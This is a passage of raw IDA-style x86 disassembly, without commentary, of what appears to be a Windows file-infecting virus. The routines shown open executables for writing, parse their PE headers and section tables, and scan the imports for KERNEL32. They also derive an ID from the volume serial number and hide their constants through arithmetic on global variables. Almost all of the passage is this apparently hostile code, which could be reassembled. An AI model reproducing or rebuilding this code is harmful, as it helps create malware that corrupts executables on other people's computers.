		jb	loc_43B844


loc_43BE0C:				; CODE XREF: sub_43B780+A8j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43BE15:				; CODE XREF: sub_43B780+7Ej
		mov	eax, [ebp+var_2C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax


loc_43BE20:				; CODE XREF: sub_43B780+57j
					; sub_43B780+1D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B780	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BE25	proc near		; CODE XREF: sub_43A33B+2p
					; sub_43A33B+9p

var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		mov	eax, dword_44B104
		sub	eax, 3
		push	eax
		push	0
		push	[ebp+arg_0]
		push	0
		call	ds:dword_447A44
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43BE7D
		push	offset dword_44C5F4
		call	sub_4424C1
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	ds:dword_445020
		push	1
		push	43h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4438E7
		add	esp, 18h


loc_43BE7D:				; CODE XREF: sub_43BE25+2Bj
		pop	edi
		leave
		retn
sub_43BE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BE80	proc near		; CODE XREF: sub_43B3A7+3Cp
					; sub_43B3A7+BCp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		movzx	ebx, byte ptr [eax]
		movsx	eax, word_44B154
		add	eax, 0F8h
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+1]
		add	ebx, eax
		mov	eax, dword_44B13C
		add	eax, 0FAh
		add	eax, dword_44B1CC
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+2]
		add	ebx, eax
		mov	eax, dword_44B098
		mov	esi, eax
		add	esi, dword_44B1A4
		sub	esi, 7
		jmp	short loc_43BF23
; ---------------------------------------------------------------------------


loc_43BED3:				; CODE XREF: sub_43BE80+B6j
		mov	edi, dword_44B1A0
		add	edi, dword_44B0D4
		sub	edi, 4
		sub	edi, esi
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], edx
		mov	edx, ebx
		and	edx, 8000003Fh
		jge	short loc_43BEF9
		dec	edx
		or	edx, 0FFFFFFC0h
		inc	edx


loc_43BEF9:				; CODE XREF: sub_43BE80+72j
		mov	ecx, off_44B1FC
		mov	dl, [ecx+edx]
		mov	ecx, [ebp+var_4]
		mov	[ecx+edi], dl
		mov	eax, ebx
		mov	edi, dword_44B104
		add	edi, 36h
		mov	ecx, edi
		add	ecx, dword_44B10C
		cdq
		idiv	ecx
		mov	ebx, eax
		add	esi, 1


loc_43BF23:				; CODE XREF: sub_43BE80+51j
		mov	eax, dword_44B118
		movsx	edx, word_44B0D8
		add	eax, edx
		sub	eax, 2
		cmp	esi, eax
		jl	short loc_43BED3
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43BE80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BF3D	proc near		; CODE XREF: sub_43D8A3+B7p
					; sub_43D8A3+109p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebx],	0
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43BF53:				; CODE XREF: sub_43BF3D+1Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43BF53
		mov	[ebp+var_4], eax
		movsx	eax, word_44B1BC
		mov	edi, eax
		add	edi, dword_44B144
		sub	edi, 0Bh
		jmp	short loc_43BFDB
; ---------------------------------------------------------------------------


loc_43BF71:				; CODE XREF: sub_43BF3D+A1j
		movzx	eax, [ebp+arg_8]
		cmp	edi, eax
		jb	short loc_43BF84
		mov	al, [esi+edi]
		cmp	al, 2Fh
		jz	short loc_43BF84
		cmp	al, 2Eh
		jnz	short loc_43BF9D


loc_43BF84:				; CODE XREF: sub_43BF3D+3Aj
					; sub_43BF3D+41j
		movzx	eax, byte ptr [esi+edi]
		push	eax
		push	offset byte_44C5F1
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_44A634
		add	esp, 0Ch
		jmp	short loc_43BFCC
; ---------------------------------------------------------------------------


loc_43BF9D:				; CODE XREF: sub_43BF3D+45j
		push	offset dword_44C5EC
		call	sub_4424C1
		push	eax
		push	ebx
		call	ds:dword_445020
		push	offset dword_44C5E4
		call	sub_4424C1
		movzx	edx, byte ptr [esi+edi]
		push	edx
		push	eax
		lea	edx, [ebp+var_7]
		push	edx
		call	ds:dword_44A634
		add	esp, 1Ch


loc_43BFCC:				; CODE XREF: sub_43BF3D+5Ej
		lea	eax, [ebp+var_7]
		push	eax
		push	ebx
		call	ds:dword_445020
		add	esp, 8
		inc	edi


loc_43BFDB:				; CODE XREF: sub_43BF3D+32j
		cmp	edi, [ebp+var_4]
		jb	short loc_43BF71
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43BF3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BFE5	proc near		; CODE XREF: sub_43ADAC+24p
					; sub_43B182+25p ...

var_10D		= byte ptr -10Dh
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		mov	edi, [ebp+arg_0]
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_4475FC	; GetSystemDirectoryA
		movsx	eax, word_44B0D8
		add	eax, dword_44B178
		movsx	edx, word_44B170
		sub	edx, 8
		mov	[ebp+eax+var_10D], dl
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_44A614	; GetVolumeInformationA
		push	offset dword_44C5DC
		call	sub_4424C1
		push	[ebp+var_10C]
		push	eax
		push	edi
		call	ds:dword_44A634
		add	esp, 10h
		movsx	eax, word_44B0B0
		sub	eax, 8
		mov	[ebp+var_4], eax
		jmp	short loc_43C0AF
; ---------------------------------------------------------------------------


loc_43C080:				; CODE XREF: sub_43BFE5+D8j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 30h
		jl	short loc_43C096
		cmp	al, 39h
		jg	short loc_43C096
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	31h


loc_43C096:				; CODE XREF: sub_43BFE5+A3j
					; sub_43BFE5+A7j
		mov	eax, [ebp+var_4]
		mov	al, [edi+eax]
		cmp	al, 41h
		jl	short loc_43C0AC
		cmp	al, 5Ah
		jg	short loc_43C0AC
		mov	eax, [ebp+var_4]
		add	eax, edi
		add	byte ptr [eax],	20h


loc_43C0AC:				; CODE XREF: sub_43BFE5+B9j
					; sub_43BFE5+BDj
		inc	[ebp+var_4]


loc_43C0AF:				; CODE XREF: sub_43BFE5+99j
		mov	eax, dword_44B0B8
		add	eax, dword_44B0A0
		cmp	[ebp+var_4], eax
		jb	short loc_43C080
		pop	edi
		leave
		retn
sub_43BFE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C0C2	proc near		; DATA XREF: .data:off_44B2B4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_44C96C
		push	esi
		call	ds:dword_44A644
		or	eax, eax
		jz	short loc_43C0EE
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43C136
; ---------------------------------------------------------------------------


loc_43C0EE:				; CODE XREF: sub_43C0C2+1Aj
		push	offset dword_44C8EC
		push	esi
		call	ds:dword_44A644
		or	eax, eax
		jz	short loc_43C10E
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43C136
; ---------------------------------------------------------------------------


loc_43C10E:				; CODE XREF: sub_43C0C2+3Aj
		push	offset dword_44C8BC
		push	esi
		call	ds:dword_44A644
		or	eax, eax
		jz	short loc_43C12E
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43C136
; ---------------------------------------------------------------------------


loc_43C12E:				; CODE XREF: sub_43C0C2+5Aj
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_43C136:				; CODE XREF: sub_43C0C2+2Aj
					; sub_43C0C2+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_43C0C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C13D	proc near		; DATA XREF: .data:0044B2DCo
		push	ebp
		mov	ebp, esp
		push	offset dword_447604
		call	ds:dword_447A3C	; InterlockedIncrement
		mov	eax, ds:dword_447604
		pop	ebp
		retn	4
sub_43C13D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C154	proc near		; CODE XREF: sub_443589+147p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_444B40
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44B184
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_441FCC
		add	esp, 8
		mov	eax, dword_44B0A4
		mov	edi, eax
		add	edi, dword_44B0E4
		sub	edi, 4
		jmp	short loc_43C1B0
; ---------------------------------------------------------------------------


loc_43C18E:				; CODE XREF: sub_43C154+62j
		cmp	[ebp+edi+var_FFF], 23h
		jnz	short loc_43C1AF
		movsx	eax, word_44B090
		add	eax, dword_44B1A0
		sub	eax, 7
		mov	[ebp+edi+var_FFF], al


loc_43C1AF:				; CODE XREF: sub_43C154+42j
		inc	edi


loc_43C1B0:				; CODE XREF: sub_43C154+38j
		cmp	edi, 0FFFh
		jb	short loc_43C18E
		lea	esi, [ebp+var_FFF]


loc_43C1BE:				; CODE XREF: sub_43C154+F7j
		push	offset dword_44C5D8
		call	sub_4424C1
		push	offset dword_446020
		mov	ebx, dword_44B0F0
		add	ebx, dword_44B0C0
		sub	ebx, 5
		push	ebx
		mov	ebx, dword_44B190
		sub	ebx, 3
		push	ebx
		push	eax
		movsx	ebx, word_44B0DC
		add	ebx, dword_44B1C8
		sub	ebx, 8
		push	ebx
		push	0
		push	esi
		push	[ebp+arg_0]
		mov	ebx, dword_44B0B8
		sub	ebx, 2
		and	ebx, 0FFh
		push	ebx
		call	sub_43D8A3
		add	esp, 28h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43C21C:				; CODE XREF: sub_43C154+CDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43C21C
		mov	edx, dword_44B158
		movsx	ecx, word_44B1BC
		add	edx, ecx
		sub	edx, 5
		mov	ebx, eax
		add	ebx, esi
		mov	esi, edx
		add	esi, ebx
		movsx	eax, byte ptr [esi]
		mov	edx, dword_44B1AC
		sub	edx, 4
		cmp	eax, edx
		jnz	loc_43C1BE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43C256	proc near		; DATA XREF: sub_43B52C+12Fo
		push	ebp
		mov	ebp, esp


loc_43C259:				; CODE XREF: sub_43C256+25j
		call	sub_43ED61
		mov	eax, dword_44B190
		dec	eax
		mov	edx, dword_44B10C
		add	edx, 0EA59h
		imul	eax, edx
		push	eax
		call	ds:dword_44A630
		pop	ecx
		jmp	short loc_43C259
sub_43C256	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C281	proc near		; CODE XREF: sub_442E96+289p

var_54		= byte ptr -54h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_43C298
		add	eax, 3Fh


loc_43C298:				; CODE XREF: sub_43C281+12j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		call	sub_441077
		pop	ecx
		mov	[ebp+var_14], eax
		mov	edi, [ebp+arg_4]
		mov	edx, dword_44B0C4
		add	edx, 3Ch
		mov	eax, edi
		add	eax, edx
		jge	short loc_43C2BF
		add	eax, 3Fh


loc_43C2BF:				; CODE XREF: sub_43C281+39j
		sar	eax, 6
		mov	edi, dword_44B1C8
		add	edi, 3Eh
		mov	edx, eax
		imul	edx, edi
		push	edx
		push	[ebp+var_14]
		call	ds:dword_44502C	; RtlZeroMemory
		push	[ebp+arg_4]
		push	esi
		push	[ebp+var_14]
		call	ds:dword_449634
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_444236
		mov	esi, [ebp+var_14]
		mov	eax, dword_44B188
		movsx	edx, word_44B194
		mov	ebx, eax
		add	ebx, edx
		jmp	short loc_43C327
; ---------------------------------------------------------------------------


loc_43C308:				; CODE XREF: sub_43C281+C0j
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_44425D
		mov	eax, dword_44B0A8
		add	eax, 37h
		movsx	edx, word_44B180
		add	eax, edx
		lea	esi, [esi+eax]
		inc	ebx


loc_43C327:				; CODE XREF: sub_43C281+85j
		mov	edi, [ebp+arg_4]
		movsx	edx, word_44B0BC
		lea	eax, [edi+edx+37h]
		test	eax, eax
		jge	short loc_43C33C
		add	eax, 3Fh


loc_43C33C:				; CODE XREF: sub_43C281+B6j
		sar	eax, 6
		cmp	ebx, eax
		jl	short loc_43C308
		push	[ebp+var_14]
		call	sub_443565
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+arg_8]
		call	sub_43AF9B
		mov	eax, dword_44B0E4
		add	eax, 0Eh
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	ds:dword_44A648
		add	esp, 18h
		mov	edi, dword_44B140
		sub	edi, 8
		cmp	eax, edi
		jz	short loc_43C383
		xor	eax, eax
		inc	eax
		jmp	short loc_43C385
; ---------------------------------------------------------------------------


loc_43C383:				; CODE XREF: sub_43C281+FBj
		xor	eax, eax


loc_43C385:				; CODE XREF: sub_43C281+100j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C281	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C38A	proc near		; CODE XREF: sub_442A46+1B1p

var_3200C	= dword	ptr -3200Ch
var_32008	= dword	ptr -32008h
var_32004	= byte ptr -32004h
var_32003	= byte ptr -32003h
var_31FFD	= byte ptr -31FFDh
var_31F54	= dword	ptr -31F54h
var_31F50	= dword	ptr -31F50h
var_31F4C	= dword	ptr -31F4Ch
var_31F48	= dword	ptr -31F48h
var_31F44	= dword	ptr -31F44h
var_31F40	= dword	ptr -31F40h
var_31F3C	= dword	ptr -31F3Ch
var_31F38	= dword	ptr -31F38h
var_31F34	= dword	ptr -31F34h
var_31F30	= dword	ptr -31F30h
var_31F2C	= dword	ptr -31F2Ch
var_31F28	= dword	ptr -31F28h
var_31F24	= dword	ptr -31F24h
var_31F20	= dword	ptr -31F20h
var_31F1C	= dword	ptr -31F1Ch
var_31F18	= dword	ptr -31F18h
var_31F14	= dword	ptr -31F14h
var_31F10	= dword	ptr -31F10h
var_31F0C	= dword	ptr -31F0Ch
var_31F08	= dword	ptr -31F08h
var_31F04	= dword	ptr -31F04h
var_31F00	= dword	ptr -31F00h
var_31EFC	= dword	ptr -31EFCh
var_31EF8	= dword	ptr -31EF8h
var_31EF4	= dword	ptr -31EF4h
var_31EF0	= dword	ptr -31EF0h
var_31EEC	= dword	ptr -31EECh
var_31EE8	= dword	ptr -31EE8h
var_31EE4	= dword	ptr -31EE4h
var_31EE0	= dword	ptr -31EE0h
var_31EDC	= dword	ptr -31EDCh
var_31ED8	= dword	ptr -31ED8h
var_31ED4	= dword	ptr -31ED4h
var_31ED0	= byte ptr -31ED0h
var_31EC3	= byte ptr -31EC3h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_1180	= dword	ptr -1180h
var_117C	= dword	ptr -117Ch
var_1178	= dword	ptr -1178h
var_1174	= dword	ptr -1174h
var_116F	= byte ptr -116Fh
var_1070	= dword	ptr -1070h
var_106C	= dword	ptr -106Ch
var_1068	= dword	ptr -1068h
var_1064	= dword	ptr -1064h
var_1060	= dword	ptr -1060h
var_105C	= dword	ptr -105Ch
var_1058	= dword	ptr -1058h
var_1054	= dword	ptr -1054h
var_1050	= dword	ptr -1050h
var_C54		= dword	ptr -0C54h
var_C50		= dword	ptr -0C50h
var_C4C		= dword	ptr -0C4Ch
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 3200Ch
		call	sub_444B40
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_31EC3]
		push	eax
		call	ds:dword_449634
		add	esp, 0Ch
		push	0
		push	dword_44B164
		push	3
		push	0
		mov	eax, dword_44B0A0
		sub	eax, 4
		push	eax
		push	0C0000001h
		push	[ebp+arg_0]
		call	ds:dword_44A788	; CreateFileA
		mov	[ebp+var_1070],	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43C3E5
		xor	eax, eax
		jmp	loc_43D73F
; ---------------------------------------------------------------------------


loc_43C3E5:				; CODE XREF: sub_43C38A+52j
		push	0
		push	[ebp+var_1070]
		call	ds:dword_44A624	; GetFileSize
		mov	[ebp+var_10], eax
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+1FFFFh]
		push	eax
		push	0
		call	ds:dword_447A34	; LocalAlloc
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_31ED8]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	ds:dword_445028	; ReadFile
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		mov	[ebp+var_840], eax
		mov	eax, [ebp+var_31ED8]
		sub	eax, 0F8h
		cmp	[ebp+var_840], eax
		ja	loc_43D728
		mov	eax, [ebp+var_840]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jnz	loc_43D728
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+5Ch]
		mov	edx, dword_44B0E4
		movsx	ecx, word_44B180
		add	edx, ecx
		sub	edx, 7
		cmp	eax, edx
		jz	loc_43D728
		mov	eax, [ebp+var_8]
		movzx	edx, word ptr [eax+44h]
		movsx	ecx, word_44B0DC
		add	ecx, 7
		cmp	edx, ecx
		jnz	short loc_43C4AF
		mov	edx, dword_44B158
		add	edx, 8
		mov	[eax+1Ah], dl
		cmp	dl, 0
		jnz	loc_43D728


loc_43C4AF:				; CODE XREF: sub_43C38A+10Ej
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_430], eax
		mov	eax, 28h
		mov	[ebp+var_31EE8], eax
		mov	edx, [ebp+var_8]
		mov	[ebp+var_31EF0], edx
		mov	ecx, [ebp+var_840]
		add	ecx, 0F8h
		mov	[ebp+var_31EEC], eax
		movzx	edi, word ptr [edx+6]
		mul	edi
		mov	[ebp+var_31EF4], eax
		mov	edx, ecx
		add	edx, eax
		mov	[ebp+var_31EFC], edx
		mov	eax, [ebp+var_31EE8]
		mov	[ebp+var_31EF8], eax
		mov	ecx, dword_44B0AC
		inc	ecx
		add	ecx, dword_44B108
		mul	ecx
		mov	[ebp+var_31F00], eax
		mov	eax, [ebp+var_31EFC]
		mov	edx, [ebp+var_31F00]
		add	eax, edx
		mov	edx, [ebp+var_31EF0]
		add	eax, [edx+0D4h]
		cmp	eax, [edx+54h]
		ja	loc_43D728
		mov	eax, dword_44B1C4
		sub	eax, 5
		mov	[ebp+var_20], eax
		movsx	eax, word_44B170
		add	eax, dword_44B144
		sub	eax, 0Dh
		mov	[ebp+var_C54], eax
		movsx	eax, word_44B0E0
		add	eax, dword_44B1B4
		dec	eax
		mov	[ebp+var_105C],	eax
		movsx	eax, word_44B170
		sub	eax, 8
		mov	[ebp+var_434], eax
		jmp	loc_43C64A
; ---------------------------------------------------------------------------


loc_43C588:				; CODE XREF: sub_43C38A+2CDj
		mov	eax, 28h
		mul	[ebp+var_434]
		mov	[ebp+var_31F0C], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F0C]
		mov	esi, edx
		add	esi, eax
		mov	eax, [esi+0Ch]
		add	eax, [esi+8]
		mov	[ebp+var_31F04], eax
		mov	eax, [esi+14h]
		add	eax, [esi+10h]
		mov	[ebp+var_31F08], eax
		mov	eax, [ebp+var_20]
		cmp	[ebp+var_31F04], eax
		jbe	short loc_43C5DF
		mov	eax, [ebp+var_31F04]
		mov	[ebp+var_20], eax


loc_43C5DF:				; CODE XREF: sub_43C38A+24Aj
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_31F08], eax
		jbe	short loc_43C5F9
		mov	eax, [ebp+var_31F08]
		mov	[ebp+var_C54], eax


loc_43C5F9:				; CODE XREF: sub_43C38A+261j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+0A8h]
		cmp	eax, [esi+0Ch]
		jb	short loc_43C624
		cmp	eax, [ebp+var_31F04]
		jnb	short loc_43C624
		mov	eax, [esi+14h]
		mov	edx, [ebp+var_8]
		add	eax, [edx+0A8h]
		sub	eax, [esi+0Ch]
		mov	[ebp+var_105C],	eax


loc_43C624:				; CODE XREF: sub_43C38A+27Bj
					; sub_43C38A+283j
		mov	eax, [ebp+var_430]
		mov	edx, [esi+0Ch]
		cmp	eax, edx
		jb	short loc_43C644
		add	edx, [esi+8]
		cmp	eax, edx
		jnb	short loc_43C644
		sub	eax, [esi+0Ch]
		add	eax, [esi+14h]
		mov	[ebp+var_848], eax


loc_43C644:				; CODE XREF: sub_43C38A+2A5j
					; sub_43C38A+2ACj
		inc	[ebp+var_434]


loc_43C64A:				; CODE XREF: sub_43C38A+1F9j
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_434], eax
		jb	loc_43C588
		mov	eax, dword_44B0A8
		add	eax, 0FFDh
		push	eax
		push	[ebp+var_20]
		call	sub_43DDCD
		add	esp, 8
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_C54]
		cmp	[ebp+var_10], eax
		jz	short loc_43C699
		mov	eax, [ebp+var_8]
		mov	edx, dword_44B1C0
		sub	edx, 3
		cmp	[eax+0A8h], edx
		jz	loc_43D728


loc_43C699:				; CODE XREF: sub_43C38A+2F5j
		mov	eax, dword_44B0B4
		add	eax, dword_44B0A0
		sub	eax, 0Ch
		cmp	[ebp+var_105C],	eax
		jz	loc_43C778
		mov	eax, dword_44B1A0
		sub	eax, 6
		mov	[ebp+var_31F0C], eax
		mov	eax, dword_44B134
		sub	eax, 3
		mov	[ebp+var_31F04], eax
		jmp	short loc_43C71F
; ---------------------------------------------------------------------------


loc_43C6D1:				; CODE XREF: sub_43C38A+3BBj
		mov	eax, [ebp+var_105C]
		mov	[ebp+var_31F10], eax
		mov	eax, 1Ch
		mul	[ebp+var_31F04]
		mov	[ebp+var_31F14], eax
		mov	eax, [ebp+var_31F10]
		mov	edx, [ebp+var_31F14]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F08], eax
		mov	edx, [ebp+var_31F0C]
		cmp	[eax+18h], edx
		jbe	short loc_43C719
		mov	eax, [eax+18h]
		mov	[ebp+var_31F0C], eax


loc_43C719:				; CODE XREF: sub_43C38A+384j
		inc	[ebp+var_31F04]


loc_43C71F:				; CODE XREF: sub_43C38A+345j
		mov	edi, [ebp+var_8]
		mov	eax, [edi+0ACh]
		mov	ecx, 1Ch
		shr	eax, 2
		mov	edx, 24924925h
		mul	edx
		mov	[ebp+var_31F10], edx
		mov	edi, edx
		cmp	[ebp+var_31F04], edi
		jb	short loc_43C6D1
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_31F0C]
		call	sub_43DDCD
		add	esp, 8
		mov	[ebp+var_31F0C], eax
		mov	eax, [ebp+var_C54]
		cmp	eax, [ebp+var_10]
		jz	short loc_43C778
		cmp	[ebp+var_31F0C], eax
		jnz	loc_43D728


loc_43C778:				; CODE XREF: sub_43C38A+323j
					; sub_43C38A+3E0j
		and	[ebp+var_1174],	0
		mov	eax, dword_44B1CC
		movsx	edx, word_44B0DC
		add	eax, edx
		sub	eax, 0Ah
		mov	[ebp+var_438], eax
		jmp	loc_43C8D5
; ---------------------------------------------------------------------------


loc_43C79B:				; CODE XREF: sub_43C38A+55Aj
		mov	eax, [ebp+var_848]
		add	eax, [ebp+var_438]
		add	eax, [ebp+var_4]
		mov	[ebp+var_32008], eax
		mov	edx, dword_44B0D4
		dec	edx
		cmp	[eax], edx
		jz	loc_43C8EA
		mov	eax, [ebp+var_32008]
		mov	eax, [eax+0Ch]
		sub	eax, [ebp+var_430]
		add	eax, [ebp+var_848]
		mov	[ebp+var_3200C], eax
		add	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_32003]
		push	eax
		call	ds:dword_4471F4
		add	esp, 8
		movsx	eax, word_44B100
		movsx	edx, word_44B128
		add	eax, edx
		sub	eax, 9
		mov	[ebp+var_31F04], eax
		jmp	short loc_43C834
; ---------------------------------------------------------------------------


loc_43C809:				; CODE XREF: sub_43C38A+4C9j
		mov	eax, [ebp+var_31F04]
		mov	al, [ebp+eax+var_32003]
		cmp	al, 61h
		jle	short loc_43C82E
		cmp	al, 7Ah
		jge	short loc_43C82E
		mov	eax, [ebp+var_31F04]
		lea	eax, [ebp+eax+var_32003]
		sub	byte ptr [eax],	20h


loc_43C82E:				; CODE XREF: sub_43C38A+48Ej
					; sub_43C38A+492j
		inc	[ebp+var_31F04]


loc_43C834:				; CODE XREF: sub_43C38A+47Dj
		mov	eax, [ebp+var_31F04]
		movsx	eax, [ebp+eax+var_32003]
		mov	edx, dword_44B13C
		add	edx, dword_44B098
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_43C809
		mov	eax, dword_44B1B4
		cmp	[ebp+eax+var_32004], 4Bh
		jnz	short loc_43C8CE
		movsx	eax, word_44B0DC
		cmp	byte ptr [ebp+eax+var_32008], 45h
		jnz	short loc_43C8CE
		mov	eax, dword_44B0EC
		add	eax, dword_44B164
		cmp	byte ptr [ebp+eax+var_32008+2],	52h
		jnz	short loc_43C8CE
		movsx	eax, word_44B170
		movsx	edx, word_44B180
		add	eax, edx
		cmp	byte ptr [ebp+eax+var_3200C], 4Ch
		jnz	short loc_43C8CE
		movsx	eax, word_44B154
		cmp	byte ptr [ebp+eax+var_32008+3],	33h
		jnz	short loc_43C8CE
		mov	eax, dword_44B118
		cmp	[ebp+eax+var_31FFD], 32h
		jnz	short loc_43C8CE
		mov	[ebp+var_1174],	1


loc_43C8CE:				; CODE XREF: sub_43C38A+4D8j
					; sub_43C38A+4E9j ...
		add	[ebp+var_438], 14h


loc_43C8D5:				; CODE XREF: sub_43C38A+40Cj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_438], eax
		jb	loc_43C79B


loc_43C8EA:				; CODE XREF: sub_43C38A+42Fj
		cmp	[ebp+var_1174],	0
		jz	loc_43D728
